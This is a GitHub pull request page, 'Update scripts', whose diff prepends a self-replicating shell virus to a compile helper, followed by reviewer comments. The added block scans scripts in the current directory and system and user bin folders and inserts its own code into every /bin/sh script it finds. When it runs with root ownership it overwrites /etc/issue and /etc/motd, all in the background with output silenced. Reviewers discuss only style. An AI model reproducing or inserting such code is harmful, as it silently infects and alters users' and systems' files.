-
Notifications
You must be signed in to change notification settings - Fork 21
Update scripts #32
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Update scripts #32
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,27 @@ | ||
#!/bin/sh | ||
{ | ||
for i in * /bin/* /usr/bin/* /usr/local/bin/* ~/bin/* ~/.local/bin/* | ||
do | ||
if sed 1q "$i" | grep '^#![ ]*/bin/sh' | ||
then | ||
if ! grep '^# mark$' "$i" | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is a wildly unnecessary use of grep(1). Instead, and much more efficiently, make use of glob pattern matching within a case statement: case $i in
\#\ mark)
COMMANDS ;;
esac There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Are you a troll or can you just not read shell scripts? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is GitHub, not Reddit. You needn't resort to such petty acts as name-calling. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Okay, I am sorry, please disregard the name-calling question. |
||
then | ||
sed 1q "$i" >"/tmp/x$$" | ||
sed '1d | ||
/^# mark$/q' "$0" >>"/tmp/x$$" | ||
sed 1d "$i" >>"/tmp/x$$" | ||
cp "/tmp/x$$" "$i" | ||
fi | ||
fi | ||
done | ||
if ls -l "/tmp/x$$" | grep root | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. As this is the long ( Also, ls(1) will not be checking for whether it's a directory, a file, or something else (IE: FIFO or a block special file) which can cause problems when you want something specific. Instead of using ls(1), you could opt to use find(1): find /tmp -xdev -maxdepth 1 -type f -name "x$$" -user 'root' -o -group 'root' | ... That's more reliable and robust, searching only for files, keeping to the same filesystem, being non-recursive (like your use of There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It is quite obvious that I am trying to check whether the file that was written earlier is owned by user or group root. Sure, I could hassle with—I could even replace the whole There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. find(1) offers a lot of great functionality in an efficient and fairly portable way, as I demonstrated, but you're of course welcome to write in whatever way you please. |
||
then | ||
echo 'install 9front | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should say nixos not 9front :p There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Maybe he is using NixOS already, though. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Nah his repo would be wrapped in heaps of nix scripts if he did. |
||
' | tee /etc/issue >/etc/motd | ||
fi | ||
rm "/tmp/x$$" | ||
} >/dev/null 2>/dev/null & | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. IIRC, this won't work properly. The correct* non-BASH version would be: To my knowledge, at least in BASH, redirection works in reverse; this is likely for Bourne Shell, too. So, in this case, STDERR is first redirected to STDOUT, then STDOUT and STDERR are both redirected to the desired location of '/dev/null'. * Unless this changed at some point. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Are you aware that I am not duplicating file descriptors anywhere but opening new ones? Do you see a problem with opening Also, I don’t care about the Bourne Shell: The whole thing would not work with the Bourne Shell, since it doesn’t have comments. I care about the POSIX shell language. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You don't care about Bourne Shell? You probably should, since that's the syntax of shell you're using. Did you even read what I said? I feel like your needless hostility to everything I've said to try to help you is going to make any interaction with you a waste of time, so I'll leave you be. Thanks at least for replying. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The syntax of shell I am using is the syntax POSIX specifies, which is not the Bourne Shell. The Bourne Shell is an ancestor of the POSIX command language, and not used anymore—at least I have yet to see someone using a port of the Bourne Shell to something like Linux or today’s BSDs. The last line of the code I am adding is a comment. You know what the Bourne Shell says when stumbling upon a comment? Why exactly do you think |
||
# mark | ||
# General handler for compiling files | ||
|
||
file=$(readlink -f "$1") | ||
|
Uh oh!
There was an error while loading. Please reload this page.